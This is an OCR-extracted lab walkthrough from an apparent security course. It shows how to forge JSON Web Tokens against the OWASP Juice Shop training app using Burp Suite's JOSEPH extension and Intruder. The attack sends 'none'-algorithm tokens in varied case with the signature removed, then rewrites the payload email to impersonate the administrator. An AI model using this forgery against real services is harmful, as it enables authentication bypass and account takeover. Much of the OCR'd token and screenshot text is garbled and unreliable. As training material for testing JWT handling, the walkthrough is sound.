Forge a JWT

JSON Web Tokens offer a great place to practice using different tools to achieve the same
objective. The specific vulnerability shown here is a real one and although the common libraries
used for JWT don't seem to be vulnerable anymore, the issue does still occur.

More than that, though, JWTs offer a chance to learn how to attack input parameters that may
be encoded or otherwise not easily manipulated. These fields will not be tested by vulnerability
scanners, and cannot be tested by the simple methods normally used by hand.

We'll look at a Burp Suite extension that automates the basic attack, then see how to re-create
that "by hand" in a way that offers far more flexibility and gets you comfortable with more
advanced attack methods.

Walk-Thru

Make sure you have Firefox set to use your Burp Suite as a proxy, and that the Proxy >
Intercept pane says "Intercept is off"

You get your award by forging a JWT for the user jwin3d@juice-sh.op (which is not a user that
exists in the application).

First: Burp Extension: JSON Web Token Attacker

Tools are helpful, but you need to know what they're doing.
The Burp Extension is called "JSON Web Token Attacker" but the tab it creates in the Ul says
"JOSEPH". This extension is already installed on the VM for the class.

v Burp Suite Community Edition v2020.5.1 - Temporary Project
Burp Project Intruder Repeater Window Help

[ Sequencer m:v"Decoder Comparer [' Extender | Project options User options |OSEPH

Dashboard - I .Target [ Proxy . 2 Intp!der

;"-Extensions rBApp Store |APIS Options | /

S of Burp Suite, to extend

me | Installed | L -Fopularity | Last updated | D
ot LIECGHET I N L I P I
iSON Web Token Attacker | s | |08 Feb 2019
ISON Web Tokens ' 1= 30 Jun 2020

| ol =] LS b
ISONJS Beautifier ' |BExher 2018

JSON Web Token Attacker Extension

1. Log in to Juice Shop as your user. Find the POST request to /rest/user/login in the proxy
history that includes your successful logon, then find the GET request to /rest/user/whoami that



happens after that. The JSON Web Token Attacker extension uses teal highlighting to indicate
traffic with JWTs.

#~ Host Method URL Params | Edited | Status | Length | MIME:
53 hitp /flocalhost: 3000 GEI faplfQuantitys/ 204 28D
92 pifflocalhost:3000 GET est/userjwhoami 1200 464 SON
91 http:/flocalhest:3000 GET Jrest/useriwhoami 200 464 SON
a0 http:/flocalhost:3000 POST Jrestfuser/login N 200 1168 SON
89 http:/flocalhost:3000 GET frestjuserjwhoami 200 343 SON
| Y aal 1L N F— ol . - a 1 [
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l/Raw |/Params rHeaders rHex rJWS |

GET /rest/user/whoami HTTP/1.1

Host: localhost:3000

User-Agent: Mozillay/5.0 (X11; Ubuntu; Linux xB86 84; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Bearer

eyJ0eXA101JKV1Q1LCIhbGe1 01 JSUzI 1IN 9. ey )zdGFOd XML 01 Jzdwh) ZXNzI 1wl ZGFOY SI6ey IpZCI6MTksInVzZXJuYWllIjo1 Il
551 b201 LCIwY XNzd28y ZCT 6T § hk MDY xMGMy M7 k SMmUzMmEk ZGR1 MT NI Z3 YwY mFj MDOMzI 1wl cm9s ZSIAI mNLe 3RvbWvyIiwi ZGvsdxhl
61 ] AUMCAwl ] ALLCIwemSmawx LSW1hZ2U1 01 TvY XNz ZXRzL 3B1Y mxpY y SpbWFnZXMv dXBsb 2Fk cy Sk ZWZhdwx OLNNZZy I sTnRv dHET 2wl
Swi¥3ILYXRLZEFOI ] 01 M] AyMCOwNy Owhly AxM] owMzozN1 43Nzggkz Aw0] AwI 1wl dXBkY XRLZEFOT j 01 M] AyMCOWNyOwhy AxM] owMzoz]
01 j pudwxs T Swi aWFol j oxNTkOMTIZNDI zLCJ LeHAL 0] ELOT QxNDEOM] NS . FAZ4cMWSPCSS - BP1MdJ lums ChwKT S0 199K 4wsIGh- Rj 1K
DPw97HI GOI EpNSS7Ze ALF7T rNZ1RI ov GAYHbMCCCIK 3QSFSPugk 81 0aTNOXpShSM203R- yOP)sSkzoe47y1b fukf SOk8s- ¢

=
o

Connection: close
Feferer: http://localhest:3000/
Cookie: language=en; cookieconsent status=dismiss; welcomebanner status=dismiss; 1o=veSUqOdRddsnIschass

eyJ0eXA101JKV1Q1LCIhbGe1 01 JSUzI 1N1J9. ey zd GFOdXM1 01 Jzdwh] ZXNzI 1w1 ZGFOY SI6ey JpZCIEMTksInVzZXJuYWllIjo1I1
S51b201LCIwY XNzd29y ZCI 61 j hk MDY xMGMy M7 k SMmUzMmFk ZGR1MTNL Z1Y wY mF ] MOMzI 1wl cm@s ZSISImN1c 3RvbwWyyI 1wl ZGVsdxhl
61 ] AUMCAwL ] A1 L CIwemSmax LSW1hZ2U1 01 TvY XNz ZXRzL 3B1Y mxpY y SpbWFnZXMvd¥Bsb 2Fk cy Sk ZWZh dwx OLAN2Zy I sTnRv dHBT Zw
Swi1¥3ILYXRLZEFOI J 01 M] AyMCOWNy Owhy Ax M) owMzozN1 43Nzggkz Aw0] Awl 1wi dXBkY XRLZEFOT J 01 M7 AyMCOWNyOwNy AxM] owMzoz]
01 j pudixsf Swi aWFDI  oxNTkOMTIzNDI zLCJ LeHAL 0] ELOT QxNDEGM] NS . FAZ4cMWEPCSs - BPLMdJ Lums ChwkT 80 19gK dwsIGh- Rj 1K
DPW97HI GOI EpN9S7Ze AbF7f rNZi RI ovGAYHbMCCCIK 3QSFOPUgK 81 0aTNOXpShSM2Q3R- yoPl sSkzoed7yibfuwfsokes- ¢
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Request to /rest/user/whoami Includes JWT

2. Right-click on this request in the list of requests in the top pane (the option is disabled if
you're in the request/response pane) and choose "Send to JOSEPH".

3. In the JOSEPH tab, choose the "Signature Exclusion" attack, click "Load" then click "Attack"



Compare der iPrnject options iuaer optors FJOSEPH |
DasHboard rTarget rPery rlntruder rRepeater rSequencer rDecoder

l/Attacker |/Mar|ua| rDecnder rPreferences rHelp |

Igorithm: RS256

Type: WT

Available Attacks:

- Load

Signature Exclusion

Signature Exclusion

The Signature Exclusion attack tries
the None algorithm and removing the signatur
In order to perform filter evasion, differ apitalization is used as algorithm value.

enly verified by using

Attack

Starting JSON Web Attacker Attack

4. Notice in the table that none of the attacks seemed to be successful. Open the "Request" tab
and click through the tests in the table. Notice that only the token in the Cookie is being
manipulated. The "Authorization" header is the same for all requests.



Results

# | Payloadtype | Payload | Status|Length Time
8] 200 464 08:13:19
E 0x02 Alg: NO...[200 343 08:13:20
2 0x00 Alg: none|200 343 08:13:20
3 0x03 Alg: nO...|200 343 08:13:20
4 0x01 Alg: Mo...|200 343 08:13:20

Reguest r’Respnnse |

Raw rParams rHeaders |/Hex rJWS |

1 GET /rest/user/whoami HTTR/1.1
Z Host: localhost:3000

3 User-Agent: Mozilla/s5.0 (X11;
4 pccept: application/json, te
S Accept-Language: en-USs,en;qg=

: . _ -5 JWT in Authorization header
& Accept-Encoding: gzip, defl

7 Authorization: Bearer does not change.

eyJ0eXA101 JKVIQ1LCIhbGe1 01 JSUzI 1N IS, ey zd GROd ML O JzdwWh] ZXNzT 1wl 2
1¥mtpbmdAZXhhbXBsZS51b201 LCIwY XNzd 25y ZCI 61 1 hk MDY xMGMy M7 k SMmUzMmFk 2
sdXh1VGOrZW4101T1LCIsY XNOT GSnawSJ cCI 61 ] AuMC4wl ] ALLCIwemSmakx LSW1hz
hdwxOLNNZZyI sInRvdHET ZWNyZXQ1i0111LClpeoFjdal2zsIsdHI 12swiY 3 LY XR1zZ
1d¥BkY ¥XR1LZEFOT ] 01 M Ay MCOWMNy OwlNy AxM] owMzozN1 43Nz ggkz Aw0] Awl 1wl ZGYVsZ
10T QxNDEOM] NS . FAZ4cMWEPCSS - BP1Md I 1umsChwKT8019gK dwsIGh-Ry 1K- Ifuléal
1RI ovGHYHbMCCCIK3QSFoPUgK 81 0aTNOXpShSM203R- yOPJsskzoed7y1bfuwfSoke
2 Connection: close

9 Referer: http://local ; Area of changes

10 Cookie: language=en$._cookieconsent status=dismiss; welcomebanner s
eyJ@eKﬁiDiJK‘u’lQiLCJhb;n@.eszdGF@dxmioiszwwj ZXNzIiwiZC
YmtpbmdazxhhbXBsZS51b201 LCawY XNzd 29y ZCI 51  hkMDY xMGMyMj k SMmLzMmFk ZC
dXhTVG2rZwdl 01 T1LCIsY XNOTGENaWSI cCI 6T ] AUMCAwL ] AL L CIwemSmaWx 1 SW1hZz

dwWxOLNN2ZyIsINRydHET ZWNy ZX01 01 T1LCIpcOF] dGl2ZSI6dHI 1Z5wiY 3J LY XRLZE
d¥Bk Y XRLZEFOI jo1M] AyMCOWNyY OwlNy AxM] owMzozNL 43Nz ggkz AwD] Awl 1wl ZGVS ZX

OTQxNDEBMINS. o 1 Signature omitted (after second dot)

ux x86 64; rv:78.0) Gecko

Jplain, */*
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Some Changes, Some Not

Note: If you get HTTP 304 "Not Modified" responses, it's probably because you got a request
with the "If-None-Match" request header. This is part of caching and efficiency - in this case it
tells the server not to bother processing the request if it's the same as a previous one. Delete
that header and try again.



Results

= Payload type Payload Status
200

0x02 Alg: NONE ——304
0x00 =T None———1304
Ox01 _——_—Alg lere 304
003 " Alg-remE—304

P RN e ]

Reguest | Respo
Raw IfHeader ;_]

1{HTTP/1.1 304 Not Modified |

2 Access-Control-AlLow-0Origin: *

2 X-Content-Type-Options: nosniff

4 X-Frame-Options: SAMEORIGIM

S Feature-Policy: payment 'self!

& ETag: W/"b-/ShSboV]vhGw3qRgvUfZjELr INs"
7 Date: Tue, 0F Jul 2020 12:22:09 GMT

& Connection: close

JOSEPH Results Table: HTTP 304: Server Did Not Process Request

Request rResponse

Raw rParams rHeaders |/He:-c r]WS |

GET /rest/user/whoami HTTP/1.1

Host: localhost:3000

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xB86 64; rv:78.

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Bearer

eyJ0eXA10LIKV1QLLCIRbGe101J5UZI 1M1 I 9. ey JzdGFOd XML 01 Jzdwh] 2

1YmtpbmdAZXhhbXBsZS5] b201 LCIwY XNzd 29y ZCI 61 j hk MDY xMGMyM] k SV

sdXhLVGOrZwWd1 01 T1LCIsY XNOT GEnaWSJcCI 6T ] AuMCAwl ] A1LCIwemSma
hidwxOLANZZyI sTRRvdHBT ZWhyZX01 01 T1LCIpcOF 1 dGL2ZST BdHI 1ZSw1Y
1dXBkY XRLZEFOT ] 01 M Ay MCOwhy Cwhly AxM] owMzozN1 43Nz gk z Aw0 ] AwT

10T QxNDEOM] NS FAZ4cMWEPCSs - BPLMdJ lums Chwk TS0 19gk dwsIGh-Rj 1

1RI ovGAY HhMCCCIK 23QSFOPUgKS1L0aTNOXp ShSM2Q3R- yoPIsSkzoed7yih

2 Connection: close
2 Referer: http://Llocalhost: 3000/

10 Cookie: language=en; cookileconsent status=dismiss; welcome
eyJOeXA1 01 JKV1Q1LCIhbGe1 01 J0b251IN0. eyl zd GFad XM1 01 Iz dwi] ZX
YmtpbmdAZXhhbXBsZS51b201 LCIwY XNzd 29y ZCT 6T hkMDY xMGMy M7 kSMr
dXh1VGorZwWa1 0111 L CIsY XNOTGSnawWSIcCT 6T J AuMCAwL ] Al LClwcemSmali
dWxOLNMN2ZyIsInRydHBT ZWNyZXQ1 011 1LCIpcOF] dGL2ZSI 6dHI 125wl Y 3
dXBkY ¥XRLZEFOI j 01 M] AyMCOWNyY Owhly AxM] owMzozNL 43Nz g gz Aw0 ] AwI 1
OT QxNDEOM] NS,

11|If-Mone-Match: W/"b-/5hsShoVyVhGw3gRgvUfZ1E1Ir1Ns" |

12
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JOSEPH Results Table: If-None-Match Header was the Cause
5. Go back to Proxy History, find the same request and send it to Repeater this time.

6. In Repeater, send it once to make sure it still works (as usual). If you get HTTP 304, delete
the In-None-Match header and try again.

7. Delete the "Authorization" header completely. Make sure that "If-None-Match" header is
gone, too. Send the request again. If you get the same response, that means the information in
the deleted headers wasn't needed.

bBET /rest/user/whoami HTTP/1.1 B
> Host: localhost:3000
3 User-Agent: M02111615 0 (X11l; Ubuntu; Linux x86 64; rv:78.0)
Gecko/20100101 F2TETC Delete these two lines entirely
1cation/]son, xtfplaln *f*
“Language: en- Us,ep;q=0.5

WK

[
=

[g]

(3]

[1:]
e
+

1c3RvbWYy T 1wl Zg
mawx LSW1hzZ21

A dXBsb 2Rk oy Sk ZWZhdwxOLnNZZy T
ZSw1Y 3J 1Y XRLZEFOL ] 01 M] AyMCOWNyY O

2 Connegtion: close

: http://Llocalhost: 3000/

: language=en; cockleconsent_status=dismiss; welcomebanner_status=
dispiss; io=veSUgOdRddsnIschAtac; token=

ey J0a XAl 01JKV1Q1LCIhbGe1 01 J5U=T 1N1J9. eyl zdGFOd XML 01 JzdWh] ZXNzT 1wl ZGFOY ST
GeyIpZCIEMTksInVzZXIuYWllIjolTiwl Zwlhawwi 01 J1YmtpbmdAZxhhbXBsZ551b201LCa

wiXNzd 29y ZCI 61 1 hkMDY xMGMy M7 k SMmUzMmFk ZGR1 MTNL Z7 YV wY mF] MOMz I 1wl cm@sZST 61 mh
1¢3RvbWYyI 1wl ZGVsdXh LVGor ZwW41 011 1LCIsY XNOTGOnaWSl cCI 61 ] AUMCAwL ] ALLC)wem9
B LSW1hZ2U1 01 IvY XNz ZXRzL3B1Y mxpY y SphWFEnZXMy dXBsh 2Rk oy Sk ZWZhdwx OLANZZy T
STNRVAHET ZwWhy ZXQ1 011 1L CIpcOF ) dGl 2251 6dHI 125w1 ¥ 3 LY XRLZEFOT j 01 M] Ay MCOWNy O
Py AxM] owMz oz N1 43Mzggkz Aw0] AwT 1wl dXBkY XRLZEFOT j 01 M] Ay MCOwNy 0wy AxM] owMzo
N1 43Nz ggkz AwD] AwI 1wl ZGVsZXRLZEFOT j pudwWxsf Swi aWFOI JoxNTkOMTIzNDI zLCI TeHA
L 07 ELOT QxNDEOM] NS . FAZ4cMWBPCSs - BPLMd lumsChwkT 80 19gK4wsIGh- Ry 1K- I fulsLEN
KIE7WmYeVvESMs) T - JRDPwS7HI GOIEpNSS7Ze ABF7T rNZ1 RI ov G4Y HhMCCCIK2QSFSPUg
810aTNOXpShsSM2Q3R- yoPJsSkzoed7yibfuwfsokss- ¢
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Delete the Authorization header and the If-None-Match header

Remember that the end of HTTP headers is indicated by a single blank line (i.e. two CR/LF in a
row) so don't leave any space between headers, and make sure you have two line numbers at
the end with no content on them.



8. Once the request has only one JWT and gets a successful response (HTTP 200 with your
user details in the body) in Repeater, right click on it and send it to JOSEPH.

Choose "Signature Exclusion" as the attack, click "Load" then click "Attack". This time, you
should see longer response bodies and your user's information inside them.

Results

# |Payloa... Payload |Status| Length Time

0 200 464 09:02:55
E 0x02 Alg: NOME 200 [1085 09:02:55
2 0x00 Alg: none 200 |1085 09:02:55
3 0x03 Alg: nonE 200 |1085 09:02:55
4 0x01 Alg: Mone 200 1085 09:02:55

Request | Response |

Raw rHeaders |/Hex |

1 HTTPf1.1 200 0K

Z Access-Control-Allow-Origin: *

% X-Content-Type-Options: nosniff

4 X-Frame-Options: SAMEORIGIN

S Feature-Policy: payment 'self!

& Set-Cookie: token=eyJ0eXA101JKV1QiLCIhbGe101JOTOSFING. eylzdGFodX
Content-Type: application/json; charset=utf-2
2 Content-Length: 130

S ETag: W/"82-01AenxGTtI1FmQhpUSpAteKhoRe"

10 Vary: Accept-Encoding

11 Date: Tue, OF Jul 2020 13:02:55 GMT

12 Connection: close

141
"user":{
nid":19,
"email":"bbking@example.com",
"lastleginlp":"0.0.0.0",
"orofilelImage":"/assets/public/images/uploads/default.svg"

s

}

Successful Signature Exclusion Attack

9. Notice the JWT in each request of the attack has no signature (i.e. it ends at the second dot),
and the extension tried four different ways of saying "none" : {NONE, none, nOnE, None}
Do you remember how "none" was spelled in the RFC?



6. Unsecured JWTs

To support use cases in which the JWT content is secured by a means
other than a signature and/or encryption contained within the JWT
(such as a signature on a data structure containing the JWT), JWTs
MAY also be created without a signature or encryption. An Unsecured
JWT is a JWS using the "alg" Header Parameter value "none” and with
the empty string for its JWS Signature value, as defined in the JWA
specification [JWA]; it is an Unsecured JWS with the JWT Claims Set
as its JWS Payload.

Because the RFC has it as "none" (all lower-case), an obvious way to try to exploit an
implementation is by varying the case. Maybe the developers followed the RFC as closely as
they could, but their string parsing library (which they did not write) does case-insensitive
matches. This is one kind of issue to look for when reading RFCs for vulnerabilities.

In Juice Shop, it doesn't matter. In other real-world implementations, it absolutely does.

OK. Back to the lab. You're halfway there! You've established that Juice Shop will accept an
Unsecured JWT when the payload of the JWT is the same as a legitimate one. You have a
theoretical attack. Now, to make it practical, try modifying the payload of the JWT.

This is where tools that help can also hurt. The JSON Web Token Attacker goes only this far: it
tells you that you CAN forge a JWT, but it won't help you actually do the forgery.

The next section shows how to get the same results JOSEPH helped with, but by a different
method. The "Followup" item below that shows how to exploit the condition.

Second: Same Attack, but Manually

You can do all of those same things in Burp without the JOSEPH extension. Doing it this way
helps you build the skills you'll need for the follow-on attack.

To start this method, you need the normal request that was sent by the browser as your starting
point. We'll use Burp Intruder and some more advanced payload rules to do the same kind of
testing that JOSEPH did.

1. Log out of Juice Shop, then log back in. If you did the steps above, you may be logged in as
the Admin user...

2. Find the request to /rest/user/whoami and send it to Repeater.



3. In Repeater, delete the "Authorization" header and send the request to make sure it still
works. Double check the "email" in the response to be sure it's your user.

4. Right-click the request and choose "Send to Intruder"

5. In Intruder's "Positions" tab, click "Clear" to remove the default insertion points.

6. In Intruder's "Positions" tab, double click on the JWT header to select it, then click "Add" to
add the position markers. Your display should look something like this:

7. You want to send different versions of "none" in the JWT header. Go to Intruder's "Payloads"

ABWNH

Target | Positions rPayloads rOptions |

(?) Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in
which payloads are assigned to payload positions - see help for full details.

Attack type: ISniper

GET /rest/user/whoami HTTP/1.1

Host: localhost:3000

fccept: application/json, text/plain, */%*

Cookie: language=en; cookieconsent status=dismiss; welcomebanner status=dismiss; 1o=
veSUgodRddsnIgchAAAC; token=

§eyJ0eXA101 JKV1Q1LCIhbGe1 01 JSUZT 1M1 195 . ey ) zd GFOdXM1 01 JzdwWN] ZXMNzI 1wl ZGFOY ST 6ey I pZCIBMTksInY
ZZXIUYWILI 01T 1wl ZWlhawwl 01 J1Ymtpbmd AZXhhbXBsZS5) b 201 LCIwY XNz d 29y ZCT BT 1 hk MDY xMGMy M7 kSMmUzM
MRk ZGR1 MTMNL Z]YwY mF] MDMzI 1wl cm2sZSISImM1c3RvbWYy I 1wl ZGVsdXh L VGorZwWd1 01 T1LCIsY XNOT GOnawSJcCT
6INVUZGYMawWS1ZCI sInByb2ZpbGyIbWFnZSI6I 1 sheaMldHMyeHYI bGLj L2l tywd Ley9lcGrvYwRzL 2R ZmF LbHGQuUEe
37nTiwidGoocFNLY3I 1dCIBI1IsImlzgwNeaXZ1I jpocnvlLCd jemvhdGvk QxQi 01 T yMDIwLT ASLTASIDEYO] AZOTM
2L j c30CArMDABMDAL LCI 1cGRhdGVkQXQi 01 IyMDIwLT AZLT A3IDE10] M30] Uwl j U10SArMDASMDAI LTIk Zwx L dGyky
XQ10mS LbGxOLCIpY X1 0] ELOT QxMzY zMT T sImV4c T BMTUSNDELNDMx MO . qSvkHmy PEwoz AA7LaTSERI LETTWSTdI
- 0CKzR74AWPFCZLenSUKNmbW- FOBoxILZjax]ql10paeZ_mT jkySusyPg_gmvByt 44BdhlOVt7agX1 Sal3RddLmloBE
bIQTOSXERGEy trvLsvyy LY QUzSdEp4vVOAX - upT JBPmUll4qod

Intruder Setup

tab and enter the following payloads, clicking "Add" after each one:

none
None
NONE
NoNe

sl




@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste none
MNone

MOMNE

Load ..

Remaowve »

Clear

od il

N

Add |NDNE

Payload Setup

...but if you leave things like this, your attempts will fail because the entire header would be
replaced with a single word, which would make for a broken JWT.

8. In Intruder's "Positions" tab, double-click on the JWT header to select it, then copy it to your
clipboard.

9. Go to Burp Decoder and paste the header there and choose "Decode ... Base64"

10. Select the entire decoded value and copy it to your clipboard.

ey]0eXAI0iKV1QILChbGeioiSUzI 1|9

{"typ":"JwT";"EIg" :IIRSEEEII}

Select the decoded header and copy it to your clipboard

11. Return to Intruder's "Payloads" tab and click on "Add" in the "Payload Processing" section.



12. Choose "Add prefix" from the drop-down menu, then paste from your clipboard into the
"Prefix" box and delete everything after the quote that's right before the legitimate algorithm's
name. In the screenshot below, delete everything that's highlighted in orange.

= Add payload processing rule x |
@ Payload Processing @ Enter the details of the payload processing rule.
You can define rules to perform Add prefix -

Add Enabled | Prefix: |{"typ":"J‘u'»"l’","alg":"RSESE"H

Edit

Remove

Up
v oK | | Cancel

Delete from Start of Algorithm Name to End of String

When you're done, it should look like this:

bt Add payload processing rule bt

@ Enter the details of the payload processing rule.

Add prefix -

preﬁx: |{"t}'p":"_|"u'l-"'|'","a|g":"| |

Prefix Added.

13. Click OK, then click "Add" to add another rule. Choose "Add suffix" as the rule type and
paste from your clipboard into the text field again. This time, delete everything except the last
two characters.

-

- Add payload processing rule x

Enter the details of the payload
processing rule.

Add suffix o

Suffix: [*}

Suffix Rule



14. These two rules would take each payload in turn and add the prefix and suffix so as to make
a valid JWT header sting. Now we need to Base64URL encode it. There is no "Base64URL
Encoding" option, so we need to create one.

15. Click "Add" to create another rule. Choose "Encode" as the type of rule, and choose
"Base64-encode" in the second drop-down.

b Add payload processing rule x

@ Enter the details of the payload processing rule.

|Er‘|-::c:de v|

|Baaeﬁd-enc0de v|

Base64-Encoding Rule
16. The last rule needs to remove the equals sign, if it appears. Click "Add" again and choose
the "Match/Replace" rule. Enter the equals sign in the "Match regex" field and leave the "replace
with" field blank and click OK.
When you're done, your rules list should look like this:

@ Payload Processing

You can define rules to perform wvarious processing tasks on each payload before it is used.

Add Enabled Rule
. [w] Add Prefic {"typ":"WT","alg":"
Edit v Add suffix: '}
[¥] Basefd-encode
R >
STeE v] Match [=] replace with []
Up
Down

Payload Processing Rules Complete

17. One more thing: An unsecured JWT (that is, one that uses the "none" algorithm) cannot
have a signature on it. Return to Intruder's "Positions" tab, and delete everything in the token
cookie after the second dot. Use the "search" field at the bottom if you have trouble finding the
dot.



ko=

Y

@@ “ | => || | 3 matches ‘

GET /rest/juser/whoami HTTP/1.1

Host: localhost:z2000

Accept: application/json, text/plain, */*

Cookie: language=en; coockieconsent status=dismiss; welcomebanner status=dismiss; 1o=
veSlgodrddsnI8chAfsAC; token=
§ey]0eXAl01JKVIQILCIhbGe1 01 J5U=T 1M1 J95 . ey lzdGFOd XML 01 JzdWh] ZXNzT 1wl ZGFOY ST Gey IJpZCIEMTRksT
NVZZXIUYWILT Jo1T1wl 2Wlhawwl 01 J1Y¥mtpbmd4Zxhhb¥BsZ55]b201 LCIwY XNzd 29y ZCT 6T 1 hk MDY xMGMy M7 kS5M
mUzMmFk ZGR1MT ML Z7 YwY mF] MDMzI 1wl cmSsZSI 6Imh1c3RvEWYyI 1wl ZGWsdXh LVGOr Zwdl 0111 L CIsY XNOT GSna
WSJcCIBINVUZGYmawWs L ZCIsInBybh2ZpbGY IbWFNZSIBI1 She 3NLdHMycHY1bGL L2ty wWd Loy 9leGxvYWRzL2RLZ
mF1bHQUE3ZNI 1wl dGoocFNLY 3 LdCISI1IsImlzgwNoaxXZLI Jp0cnVLLCI JemvhdGvkQX01 0L T yMDIwLT ASLT A3
DEy0] Az0]M2L ] c30CArMDASMDAL LCI 1cGRhdGVk QXL 01 TyMDI wlL TASLT ASIDELO] M30] LWl ] U10SArMDASMDAL L
CIk ZWx 1 dGVkGXQ1 0mS1bGx SLCIpY XQ1 0] E10T QxMzY zMT I sImy4cCI EMT USMDE INDMxMnO . gSvk HmvPEw0z AATL &
TSERJLEtTWSTAI - 0CKzR74MWPFC21 cnSUKNmbW- FOBoxILZ]axJq) 10pasZ_mT jkySusyPg_gmvByf44BdhlDvt7
agXi5al 3RddLmUoBbI QTOSXERGEY trvlsvvY 1Y QUzSdEp4vVOAX - upTJEBPMU114q04

Delete the Signature: All of the Orange. Keep the dot.

18. When you're done, the "Positions" tab should look something like this:

(TR =

I

=

@I{E}J “ || = | 3 matches | \n |

19.

GET /rest/user/whoami HTTR/1.1

Host: localhost:3000

Accept: application/json, text/plain, */*

Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss; 1o=
veSUgOdrRddsnI&chasasl; token=
§eyJ0eXAl01IKVIQ1LCIhbGe1 01 J5UZT 1M1 J95 . ey JzdGFOd XML 01 JzdWN] ZXNzT 1wl ZGFOY SI6ey Jp ZCI 6MTksT
MVzZXIUYWLLIjo1I1wl 2Wlhawwi 01 J1Ymtphmd AZXhhbXBsZS5] b201 LCIwY ¥XMNzd 29y ZCI 61 J hk MDY x MGMyM] kSM
mUzMmFk ZGR1 MTNL Z 1w mF] MDMzI 1wl cm9sZSISImNLe 3RvbWYy I 1wl ZGWsdXhLVGSr Zw41 01 11LCIsY XNOTGEna
WSJcCIBINVUZGVmawWs1ZCIsInByb2ZphGVIbWFnZSI 611 She 3MLdHMy cHYLbGL L2t YWd Loy 9l Grv Y WRzLZRLZ
mF1bHQUE3ZNT 1wl dGE0cFNLY 31 1dCTIBI1IsImlzGWhNOaXZ 1T j pocnV1LCI jemvhdGuk QX010 T yMDT wlL TASLTAST
DEyO] AZ0]M2L] c30CArMDASMDAL L CI 1o GRhdGVk QX1 01 I yMDIwLT A3LT AZIDELO] M30] Uwl ] U10SAr MDABMDAL L
CIk ZWx LdGYk QXQ1OMS1bGx OLCIpY XQ1 0] ELOTQxMzY ZMT I sImyv4c CI SMT USNDEINDMxMnO .

[v]

[]

K

Ready to Attack

Click "Start Attack"

If you got all that right, the results table in Intruder should look a lot like the results table from the
JOSEPH method earlier. The screenshot below shows what you might see.



[’Resuhs " Target | Positions | Payloads | Options

Filter: Showing all items

2 Content-Length: 132

10 Vary: Accept-Encoding
11 Date: Tue, 07 Jul 2020 15:05:52 GMT
12 Connection: close

"user":{
nid":19,
"email":"bbking@example.com",
"lastloginIp":"undefined",

S ETag: W/"84-+4vLWIB10QrF1Sql NEHSEpZ /00"

Intruder Results

Content-Type: application/json; charset=utf-8

Req... =~ Payload Status| Error| Time...| Length
0 200 fial L] [343
1 ey]0eXAI0IKV1QILC)hbGeioijub25lino  |200 - (] |10%0
2 ey|0eXAiDikKYV 1QILC)hbGeiniob2sling - (200 ™| ] |1080
3 ey]0eXAI0iKV1QILCJhbGeiijOTOSFING 200 O ] |10%0
4 ey|0eXAI0|KV1QILCIhbGeioijobosling 200 ™= 1 |1090
Reguest Response |
Raw | Headers r’Hex |
= X-Content-Type-Options: nosniff
4 X-Frame-Optlons: SAMEORIGIN
S Feature-Policy: payment 'self!
5 Set-Cookie: token=eyJlOeXA101JKV1Q1LCIhbGe101Jub251InG. eylzdGFOdXML

"orofileImage":" /assets/public/images,/uploads/default.svg"

You didn't learn anything here that JOSEPH didn't already help you with, but now you have a
general method to continue attacking and now you know exactly how to expose the general

problem.

Instead of changing the header, for example, you could change parts of the payload now,
testing for injection flaws or other common webapp flaws that the scanner would completely

overlook. The next steps show how to do just that.

Followup: Forge a USEFUL New Token

20. Copy the base64 encoded header of the forged JWT from any of the successful JOSEPH
requests. Paste it into a blank text file called "jwt-head.txt" and save that file.



21. Copy the base64 encoded "payload" of the JWT - the part in between the two dots - and
paste it into Burp Decoder. Then choose "Decode As ... Base64" and notice what you see in the

decoding.

ey|zdGFOdXMiO|zdWN|ZXNzliwiZ GFOYSI6ey]pZ CIEMTksInVz ZX]uYW LlijoiliwiZW 1 haWwio fivr

(]

[ b

) Text O Hex @
‘Decode as.. PBasebd Iv|

‘Enccde as . |v|

‘Hash |v|

‘ Smart decode |

-[”status”:”success","data”:{"id":lQI"username”:””,”email”:"bbking@example.com" "passw
12:03:36.778 +00:00","updatedAt";"2020-07-07 12:03:36.778 +00:00","deletedAt":null},

1 D

® Text O Hex

‘Decode as ... |v|
‘Encode as . |v|
‘Hash |v|

‘ Smart decode |

Email Address is in the Payload

Remember when we said not to trust user identifiers in user input? That's what we have here.
Change the email address to be the administrator's email address: admin@juice-sh.op and then
choose "Encode as ... Base64" from the menu next to it.

22. Select the entire contents of the bottom text area and copy it to your clipboard.



AWOjAWIWIZ GVs ZXRIZEF 0lipudwixsfSwiaWF0ljoxNTkOMTIzNDIzLCJleHAIOJE10TQxNDEOM|NG| @ Text ) Hex @

|Decode as ... ‘v‘
|Encode as ... ‘v‘
|Hash ‘v‘
(] | m I» | Smart decode ‘

W Text ) Hex

|Decode as . ‘v‘
|Encode as ... Basefd ‘v‘
|Hash ‘v‘
q] | Il | Tr | Smart decode ‘

ey|zdGFOdXMiOijzdWN]ZXNzIiwiZ GFOYSI6ey|pZ ClI6MTksInvz ZXuywW1ljoilwizw1hawwioihz ® Text ) Hex

|Decode as ... ‘v‘
|Encode as ... ‘v‘
|Hash ‘v‘
q| i | I | Smart decode ‘

23. Return to your Repeater tab. Right-click on the request and choose "Send to Repeater" to
get another copy of it (in case you want to return to the original one). In that copy, delete the
JWT so you can replace it with your forged one. Be sure to leave the part that says "token="

Request

1

8}

(Y]

Ul

w0 oo ~J

11

l/F{aw rParams rHeaders |/He:-< rJWS |

GET /rest/user/whoami HTTP/1.1

Host: localhost:3000

User-Agent: MozillayS.0 (X11; Ubuntu; Linux x86 64; rv:78.0)
Gecko /20100101 Firefox/78.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://localhost:3000/

Cookie: language=en; cockieconsent status=dismiss; welcomebanner status=
dismiss; i1o=veSlUgDdRddsnI8chalAC; token=

JWT Removed from Headers: Ready to Add Your Forged One

24. Paste the encoded "payload" of the JWT that you built in Burp Decoder right after "token="



rRaw I/Params rHeaders |/Hex |

1 GET /rest/fuser/whoami HTTP/1.1

Z Host: localhost:2000

3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64;
rv:78.0) Gecko/20100101 Firefox/78.0

